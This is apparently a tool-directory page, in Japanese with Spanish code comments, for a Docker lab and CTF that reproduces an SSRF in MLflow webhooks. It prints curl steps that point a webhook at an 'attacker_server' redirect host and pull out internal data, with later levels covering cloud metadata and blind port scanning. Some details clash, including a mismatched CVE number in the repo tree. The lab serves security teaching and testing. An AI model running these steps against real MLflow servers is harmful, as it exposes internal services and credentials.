Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-64849-poc-lab — このラボは良いかもしれないし悪いかもしれない。AIに聞いてみて。テスト中だけど動くはずだよ、ははは | Kitploit
ツール/GitHubGitHub/isaca0315/cve-2026-64849-poc-lab
脆弱性分析エクスプロイトウェブセキュリティCTFペネトレーションテスト学習と教育ラボと実践
GitHubisaca0315/cve-2026-64849-poc-lab

CVE-2026-64849-poc-lab

このラボは良いかもしれないし悪いかもしれない。AIに聞いてみて。テスト中だけど動くはずだよ、ははは

リポジトリを見る
9時間32分前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

セキュリティラボ — MLflow Webhooks における SSRF の悪用

CVE-2026-64849 · MLflow < 3.15.0 · サーバーサイドリクエストフォージェリ (SSRF)

CVE-2026-64849 を実践的に再現するラボです。これは MLflow における SSRF 型の脆弱性で、Webhook 処理の TOCTOU(Time-of-Check / Time-of-Use)欠陥が原因です。MLflow は Webhook の元の URL を検証しますが、 HTTP リダイレクト(302)を 再検証せずに 追跡するため、認証されていない 攻撃者が本来アクセスできない内部サービス(internal-service:8888)に到達 できます。

使用制限: ラボ用教材であり、許可されたネットワークおよび環境のみを 対象とします。法的通知 を参照してください。


1. エグゼクティブサマリー

属性値
脆弱性CVE-2026-64849 — Webhook リダイレクトバイパスによる SSRF
影響を受けるコンポーネントMLflow Tracking Server (< 3.15.0)
ラボのバージョンMLflow 3.13.0(未変更、pip install 経由)
根本原因TOCTOU: URL を検証し、再検証せずに 302 を追跡
ベクターHTTP; 認証なし
宣言された重大度CRITICAL (CVSS 9.3) — ラボのエクスプロイトバナーによる
結果内部サービスへのアクセス、認証情報の窃取、ポートスキャン
推定所要時間15〜20 分
レベル中級(Web アプリセキュリティ / オフェンシブセキュリティ)

2. 脆弱性の説明

MLflow では、イベント(モデルデータ、実験など)に応じて HTTP リクエストを トリガーする Webhook を登録できます。URL を保存する前に検証(スキーマ、 プライベート IP、IP メタデータ)が適用されます。問題は次の箇所で発生します:

  1. Time-of-Check: MLflow は Webhook の元の URL を検証します → 合格。
  2. Time-of-Use: リクエスト中に応答が 3xx の場合、requests ライブラリが自動的にリダイレクトを追跡し、宛先 URL を再検証することは ありません。

攻撃者は最初のホップ(内部サービスに 302 を返すサーバー)を制御し、 MLflow が内部ネットワークへの プロキシ として機能します。

完全な技術分析は EXPLOITATION_GUIDE.md §6 を参照してください。


3. 学習目標

ラボを完了すると、受講生は次のことができるようになります:

  1. 再検証なしのリダイレクト追跡(TOCTOU)によって引き起こされる SSRF を 特定 する。
  2. Webhook の登録、/test のトリガー、内部サービスからのデータ流出という 完全なフローを 再現 する。
  3. 「見かけ上の」検証(Time-of-Check)と実際の使用(Time-of-Use)を 区別 する。
  4. 攻撃のバリエーションを 実行 する: 他のエンドポイントからのデータ 流出、クラウドメタデータ(IMDS)、ブラインド SSRF/ポートスキャン、 パブリックリダイレクタ、DNS リバインディング(理論上)。
  5. 緩和策を適用 する: MLflow ≥ 3.15.0 への更新、認証、ネットワーク 制御。

4. 対象読者と前提条件

対象: オフェンシブセキュリティの学生および専門家、ペネトレーションテスター、 アプリケーションセキュリティレビュー担当者、MLflow を使用する開発者。

ソフトウェア要件:

ツール最小バージョン
Docker + Docker ComposeDocker 20.x / Compose v2
curl—
jq1.6+
bash—

MLflow の認証情報や認証は不要です(攻撃は認証なし)。 内部ネットワークへのアクセスは不要: ラボが提供します。


5. アーキテクチャとトポロジー

root@kitploit:~
                 host                                   red interna de Docker (lab_network)
┌──────────────────────────────┐   ┌────────────────────────────────────────────────┐
│  atacante (curl / bash)      │   │                                                │
│       │                      │   │   mlflow-vulnerable      attacker_server       │
│       ▼                      │   │   (5000, MLflow 3.13.0)  (8080, responder 302) │
│ http://localhost:5000        │   │        │  webhook URL         ▲                │
│ http://localhost:8080        │   │        ▼───────────────────────┘                │
│ http://localhost:8888 ✗      │   │        │ 302 Location: internal-service         │
│                              │   │        ▼  (SSRF, sigue el redirect)            │
│                              │   │   internal-service (8888)   ← SIN puertos al   │
│                              │   │        "/admin/secret"           host          │
│                              │   └───────────────────────────────────────────────┘
└──────────────────────────────┘
コンポーネントポートラボでの役割変更済み?
mlflow-vulnerable5000被害者 / 脆弱なクライアント(MLflow 3.13.0 ストック)いいえ
attacker-server8080攻撃者サーバー: /webhook → 302、/redirect?url=、/metadata、ダッシュボードdo_HEAD のみ
internal-service8888lab_network 内の被害者; /admin/secret および /api/internal/configいいえ

整合性の詳細: 脆弱なサービスと内部サービスは変更されていません。 EXPLOITATION_GUIDE.md §14 を参照してください。


6. クイックスタート(セットアップ + 自動エクスプロイト)

root@kitploit:~
cd mlflow-ssrf-lab
bash run_lab.sh start      # levanta los 3 contenedores y espera a MLflow
bash run_lab.sh exploit    # explota automáticamente (SSRF → bandera del Nivel 1)

ステップバイステップのガイド付きデモ(対話型メニュー):

root@kitploit:~
bash manual_exploitation_interactive.sh

🏁 CTF モード(手動解決): このラボはレベル制のチャレンジです。各 フラグが次のレベルのヒントを残すため、各フラグに到達することに「意味が あります」。そして 重要なのは手動で行うことです: ctf_lab.sh はあなたの 代わりにエクスプロイトするのではなく、ガイドとフラグの検証のみを行います:

root@kitploit:~
bash ctf_lab.sh            # menú interactivo del CTF
bash ctf_lab.sh nivel 1    # instrucciones + pista del nivel (comandos para EJECUTAR TÚ MANUALMENTE)
bash ctf_lab.sh flag '<flag>'   # validar el flag que exfiltraste y decodificaste (+pts)
bash ctf_lab.sh status     # niveles completados + puntuación (235 pts, sin mostrar flags)
bash ctf_lab.sh hint 2     # pista de un nivel
bash ctf_lab.sh reset      # borrar progreso

run_lab.sh スクリプトのリファレンス:

root@kitploit:~
bash run_lab.sh start     # start (default) + status endpoint
bash run_lab.sh exploit   # ejecuta exploit.py dentro del contenedor mlflow
bash run_lab.sh manual    # muestra los comandos curl paso a paso
bash run_lab.sh logs      # sigue los logs en tiempo real
bash run_lab.sh stop      # detiene contenedores
bash run_lab.sh clean     # detiene y elimina datos del lab

7. エクスプロイト手順(3 コマンド)

/test へのすべての呼び出しには Content-Type: application/json ヘッダーが必要です。これがない場合、MLflow 3.13 は 400 Bad Request を返します。

root@kitploit:~
# 1. Crear el webhook apuntando al servidor del atacante (redirige a la raíz del portal interno, Nivel 1)
WEBHOOK_ID=$(curl -s -X POST http://localhost:5000/api/2.0/mlflow/webhooks \
  -H "Content-Type: application/json" \
  -d '{"name":"ssrf_test","url":"http://attacker_server:8080/webhook","events":[{"entity":"MODEL_VERSION","action":"CREATED"}]}' \
  | jq -r '.webhook.webhook_id')

# 2. Disparar /test → MLflow valida la URL, sigue el 302 hasta el servicio interno
curl -X POST "http://localhost:5000/api/2.0/mlflow/webhooks/$WEBHOOK_ID/test" \
  -H "Content-Type: application/json" -d '{}'

# 3. Extraer los datos exfiltrados (anidados en result.response_body)
curl -s -X POST "http://localhost:5000/api/2.0/mlflow/webhooks/$WEBHOOK_ID/test" \
  -H "Content-Type: application/json" -d '{}' \
  | jq -r '.result.response_body | fromjson'

ステップ 3 の期待される結果(CTF レベル 1):

root@kitploit:~
{
  "service": "internal-admin-portal",
  "banner": "Portal administrativo interno — solo alcanzable desde la red interna",
  "nivel": 1,
  "flag_enc": "ZmxhZ3tuMV9lbnVtZXJhY2lvbl9zc3JmfQ==",
  "flag_decoding": "echo ZmxhZ3tuMV9lbnVtZXJhY2lvbl9zc3JmfQ== | base64 -d",
  "pista": "El portal expone recursos bajo /admin/ y /api/. Busca credenciales de administrador."
}

フラグは 暗号化 されて送信され(flag_enc)、応答自体にデコードするための コマンド(flag_decoding)が含まれています。目標は SSRF 経由でフラグを 流出させてデコードすることです。そしてその pista が レベル 2 へと導きます。ステップバイステップの詳細、 バグの分析、および緩和策は EXPLOITATION_GUIDE.md に あります。


8. CTF モード — レベル

このラボは 段階的なレベル制の CTF です。各フラグは次の宛先につながる pista を残すため、各フラグに到達することに 意味があります。 すべてのレベルは同じ基本テクニック(リダイレクト経由の SSRF)で解決され、 テクニックと発見の難易度が上がります。

レベルテクニック / 発見宛先(SSRF)フラグポイント
1基本的なリダイレクトinternal-service:8888/base6410
2/admin/ の列挙internal-service:8888/admin/secrethex25
3/api/ の列挙internal-service:8888/api/internal/configbase6440
4クラウドメタデータ(IMDS)internal-service:8888/latest/meta-data/...base64 + rev60
5(最終)ブラインド SSRF + ポート 8889 の隠しサービスの発見internal-service:8889/admin/finalXOR + base64100

フラグは応答の flag_enc フィールドで 暗号化 されて送信され、各応答には flag_decoding(デコードするための正確なコマンド)が含まれています。 平文のフラグ flag{...} は どのスクリプトやドキュメントにも表示されません: SSRF 経由で流出させてデコードする必要があります(自動スクリプトはフラグを 表示しません)。

ラボのルール: フラグは 成功した SSRF(リダイレクト経由の内部サービス からの実際のデータ流出)に対してのみ付与されます。SSRF ではないもの、または ラボで再現できないものには フラグは付与されません(例: attacker の /metadata への直接アクセス、DNS リバインディング、whcli トンネル、 流出のないブラインドスキャン)。

プレイ方法: bash ctf_lab.sh(対話型メニュー)。レベルごとの手動解決は REDTEAM_GUIDE.md(コマンドごとのオフェンシブ演習)および EXPLOITATION_GUIDE.md(完全な技術手順)にあります。


9. 組み込まれた技術的な正誤表(変更管理)

ラボの統合中に、以下の修正が適用され、検証済みで、ドキュメントのすべての コマンドに反映されています:

#修正影響
1POST /test が Content-Type: application/json(および -d '{}')を送信するようになったMLflow 3.13 の 400 Bad Request と、response_body 抽出時の jq: null エラーを排除
2attacker_server.py が HEAD メソッド(do_HEAD)をサポートcurl -I .../webhook が 501 Unsupported method ではなく 302 Found を返す
3実際の API POST /api/2.0/mlflow/webhooks の使用存在しないルート(/webhooks/create)の 405 を回避

10. リポジトリ構造

root@kitploit:~
CVE-2026-29000-poc-lab/
├── README.md                          ← Este archivo (índice / portada del lab)
├── REDTEAM_GUIDE.md                   ← Ejercicio manual en clave red team: recon → hipótesis → exploit
├── EXPLOITATION_GUIDE.md              ← Procedimiento completo del lab (SSRF, variaciones, integridad)
├── manual_exploitation_interactive.sh ← Demo interactiva paso a paso (menú)
└── mlflow-ssrf-lab/                   ← Código y orquestación del lab
    ├── docker-compose.yml             ← 3 contenedores (mlflow, attacker, internal)
    ├── exploit.py                     ← Exploit automatizado (se ejecuta dentro del contenedor)
    ├── attacker_server.py             ← Servidor del atacante (302 configurable)
    ├── internal_service.py            ← Servicio interno "protegido" (portal 8888 + servicio oculto 8889)
    ├── ctf_lab.sh                     ← Guía manual del CTF (instrucciones + pistas + validador de flags)
    ├── run_lab.sh                     ← start / exploit / manual / logs / stop / clean
    └── mlflow_data/                   ← Datos generados (BD sqlite, artefactos)

11. 法的通知

  • 教育用ラボ。 許可なくシステムを悪用することは違法です。
  • この環境は、Docker の仮想ネットワーク lab_network 内に攻撃を隔離します。 内部サービスをホストに公開しません。
  • exploit.py はラボ検証ツールであり、シミュレートされた内部ネットワーク上で MLflow コンテナ内で実行されます( EXPLOITATION_GUIDE.md §14 を参照)。
  • 実際の環境で亜種を発見した場合は、ベンダー(MLflow/Databricks)への 責任ある開示 に進んでください。

12. 参考資料

  • MLflow GitHub Issue #24179
  • OWASP Server-Side Request Forgery Prevention Cheat Sheet
  • CWE-918: Server-Side Request Forgery
  • TOCTOU (OWASP)
ツールをダウンロード